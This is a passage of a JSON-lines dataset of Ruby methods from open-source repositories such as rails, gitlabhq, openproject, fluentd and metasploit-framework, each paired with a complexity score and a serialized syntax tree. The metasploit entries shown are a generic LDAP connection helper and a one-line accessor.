sym\",\"children\":[\"experiment_id\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"sub_testings\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"size\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"sub_testings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"clear_cache!\"]}]}]}]}","id":"e8a3d5ea-794e-4783-a73e-18530a99b2a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb","start_line":293,"raw_source":"def ldap_connection\n    ldap_peer = \"#{rhost}:#{datastore['LDAP_PORT']}\"\n    base = datastore['DOMAIN'].split('.').map { |dc| \"dc=#{dc}\" }.join(',')\n    ldap_options = {\n      port: datastore['LDAP_PORT'],\n      base: base\n    }\n\n    ldap_connect(ldap_options) do |ldap|\n      if ldap.get_operation_result.code != 0\n        print_ldap_error(ldap)\n        break\n      end\n      print_good(\"Successfully authenticated to LDAP (#{ldap_peer})\")\n      yield ldap\n    end\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ldap_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ldap_peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAP_PORT\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dc\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dc=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dc\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ldap_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAP_PORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"base\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_connect\",{\"type\":\"lvar\",\"children\":[\"ldap_options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ldap\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"get_operation_result\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_ldap_error\",{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully authenticated to LDAP (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_peer\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]}]}]}]}]}]}","id":"47804ffb-19a6-4bc2-a731-bc466950af50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/generate_distribution_service.rb","start_line":91,"raw_source":"def generate_component_files\n        @distribution.components.ordered_by_name.each do |component|\n          @distribution.architectures.ordered_by_name.each do |architecture|\n            generate_component_file(component, :packages, architecture, :deb)\n            generate_component_file(component, :di_packages, architecture, :udeb)\n          end\n          generate_component_file(component, :sources, nil, :dsc)\n        end\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_component_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@distribution\"]},\"components\"]},\"ordered_by_name\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"component\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@distribution\"]},\"architectures\"]},\"ordered_by_name\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"architecture\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_component_file\",{\"type\":\"lvar\",\"children\":[\"component\"]},{\"type\":\"sym\",\"children\":[\"packages\"]},{\"type\":\"lvar\",\"children\":[\"architecture\"]},{\"type\":\"sym\",\"children\":[\"deb\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_component_file\",{\"type\":\"lvar\",\"children\":[\"component\"]},{\"type\":\"sym\",\"children\":[\"di_packages\"]},{\"type\":\"lvar\",\"children\":[\"architecture\"]},{\"type\":\"sym\",\"children\":[\"udeb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_component_file\",{\"type\":\"lvar\",\"children\":[\"component\"]},{\"type\":\"sym\",\"children\":[\"sources\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"dsc\"]}]}]}]}]}","id":"c6655126-1cda-4bf5-abcb-ca1115f64a83"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/sanitize_test.rb","start_line":246,"raw_source":"def test_named_bind_with_postgresql_type_casts\n    l = Proc.new { bind(\":a::integer '2009-01-01'::date\", a: \"10\") }\n    assert_nothing_raised(&l)\n    assert_equal \"#{ActiveRecord::Base.lease_connection.quote('10')}::integer '2009-01-01'::date\", l.call\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_bind_with_postgresql_type_casts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"bind\",{\"type\":\"str\",\"children\":[\":a::integer '2009-01-01'::date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"10\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"quote\",{\"type\":\"str\",\"children\":[\"10\"]}]}]},{\"type\":\"str\",\"children\":[\"::integer '2009-01-01'::date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"call\"]}]}]}]}","id":"88a7bb1b-df35-4fee-a3c6-aff97bff3ad9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/diff_utils/simple_diff.rb","start_line":14,"raw_source":"def self.apply(content, search, replace)\n          new.apply(content, search, replace)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"search\"]},{\"type\":\"arg\",\"children\":[\"replace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"apply\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"search\"]},{\"type\":\"lvar\",\"children\":[\"replace\"]}]}]}","id":"34407c96-3aaa-4942-9018-8b066717b093"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":61,"raw_source":"def find_user_from_warden\n        current_request.env['warden']&.authenticate if verified_request?\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user_from_warden\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verified_request?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"warden\"]}]},\"authenticate\"]},null]}]}","id":"7ee22c5c-8c50-4460-acf9-c266e5496ef2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1514,"raw_source":"def test_hash_condition_find_with_aggregate_having_three_mappings\n    address = customers(:david).address\n    assert_kind_of Address, address\n    customers = Customer.where(address: address).order(:id)\n    assert_equal [customers(:david)], customers\n    assert_equal customers(:david, :mary), customers.unscope(where: [:address_city, :address_country])\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_condition_find_with_aggregate_having_three_mappings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"address\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Address\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"customers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvar\",\"children\":[\"customers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]},{\"type\":\"sym\",\"children\":[\"mary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customers\"]},\"unscope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"address_city\"]},{\"type\":\"sym\",\"children\":[\"address_country\"]}]}]}]}]}]}]}]}","id":"1f8b8dd1-3174-4503-999e-38ffd8c0dd49"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/queries/params_parser.rb","start_line":33,"raw_source":"def parse(params)\n        query_params = {}\n\n        query_params[:filters] = parse_filters_from_params(params) if params[:filters].present?\n        query_params[:orders] = parse_orders_from_params(params) if params[:sortBy].present?\n        query_params[:selects] = parse_columns_from_params(params) if params[:columns].present?\n\n        query_params\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"send\",\"children\":[null,\"parse_filters_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sortBy\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"orders\"]},{\"type\":\"send\",\"children\":[null,\"parse_orders_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"selects\"]},{\"type\":\"send\",\"children\":[null,\"parse_columns_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}","id":"d2ca790a-5b62-4918-b2a5-a6853cd2f70d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/journals/create_service/association.rb","start_line":55,"raw_source":"def name = self.class.name.demodulize.underscore","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}","id":"80c0fe7f-f5fc-42e6-a5d7-05e4eec0a409"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/parser.rb","start_line":25,"raw_source":"def parser_create(usage: '', type: nil, conf: nil, default_type: nil)\n        parser = @_parsers[usage]\n        return parser if parser && !type && !conf\n\n        type = if type\n                 type\n               elsif conf && conf.respond_to?(:[])\n                 raise Fluent::ConfigError, \"@type is required in <parse>\" unless conf['@type']\n                 conf['@type']\n               elsif default_type\n                 default_type\n               else\n                 raise ArgumentError, \"BUG: both type and conf are not specified\"\n               end\n        parser = Fluent::Plugin.new_parser(type, parent: self)\n        config = case conf\n                 when Fluent::Config::Element\n                   conf\n                 when Hash\n                   # in code, programmer may use symbols as keys, but Element needs strings\n                   conf = Hash[conf.map{|k,v| [k.to_s, v]}]\n                   Fluent::Config::Element.new('parse', usage, conf, [])\n                 when nil\n                   Fluent::Config::Element.new('parse', usage, {}, [])\n                 else\n                   raise ArgumentError, \"BUG: conf must be a Element, Hash (or unspecified), but '#{conf.class}'\"\n                 end\n        parser.configure(config)\n        if @_parsers_started\n          parser.start\n        end\n\n        @_parsers[usage] = parser\n        parser\n      end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parser_create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"usage\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"conf\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"default_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_parsers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"usage\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"@type\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"@type is required in <parse>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"@type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_type\"]},{\"type\":\"lvar\",\"children\":[\"default_type\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"BUG: both type and conf are not specified\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"new_parser\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"parse\"]},{\"type\":\"lvar\",\"children\":[\"usage\"]},{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"parse\"]},{\"type\":\"lvar\",\"children\":[\"usage\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: conf must be a Element, Hash (or unspecified), but '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_parsers_started\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"start\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_parsers\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"usage\"]},{\"type\":\"lvar\",\"children\":[\"parser\"]}]},{\"type\":\"lvar\",\"children\":[\"parser\"]}]}]}","id":"c8e4ffe5-3793-457e-a59d-ee0048793839"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/engine/lazy_route_set_test.rb","start_line":197,"raw_source":"def engine_url_helpers\n          Plugin::Engine.routes.url_helpers\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"engine_url_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plugin\"]},\"Engine\"]},\"routes\"]},\"url_helpers\"]}]}","id":"53c790d9-b151-48da-9cec-c757e90a19ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":315,"raw_source":"def update_pending_builds\n      ::Ci::PendingBuilds::UpdateProjectWorker.perform_async(project.id, pending_builds_params)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_pending_builds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PendingBuilds\"]},\"UpdateProjectWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"pending_builds_params\"]}]}]}","id":"cdb14c09-9dd8-4011-85f4-3d8138990210"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1238,"raw_source":"def test_find_zone_without_bang_returns_nil_if_time_zone_can_not_be_found\n    assert_nil Time.find_zone(\"No such timezone exists\")\n    assert_nil Time.find_zone(-15.hours)\n    assert_nil Time.find_zone(Object.new)\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_zone_without_bang_returns_nil_if_time_zone_can_not_be_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"str\",\"children\":[\"No such timezone exists\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-15]},\"hours\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]}]}]}]}","id":"0d8df25b-15d0-4ace-8c98-88e433cc0bec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auto_merge/merge_when_checks_pass_service.rb","start_line":59,"raw_source":"def add_system_note(merge_request)\n      return unless merge_request.saved_change_to_auto_merge_enabled?\n\n      SystemNoteService.merge_when_checks_pass(\n        merge_request,\n        project,\n        current_user,\n        merge_request.merge_params.symbolize_keys[:sha]\n      )\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_system_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"saved_change_to_auto_merge_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"merge_when_checks_pass\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"merge_params\"]},\"symbolize_keys\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]}]}","id":"2b40314e-da96-4fc6-b165-fcbc788ba2c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/module_store.rb","start_line":18,"raw_source":"def [](k)\n    self.module_store[k]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module_store\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}","id":"152d5953-98bc-471b-a982-1a58bbdccfc3"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/google_maps/phone_takeout_importer.rb","start_line":148,"raw_source":"def parse_semantic_segments(semantic_segments)\n    semantic_segments.flat_map do |segment|\n      if segment.key?('timelinePath')\n        parse_semantic_timeline_path(segment)\n      elsif segment.key?('visit')\n        parse_semantic_visit(segment)\n      else # activities\n        # Some activities don't have start latLng\n        next if segment.dig('activity', 'start', 'latLng').nil?\n\n        parse_semantic_activity(segment)\n      end\n    end\n  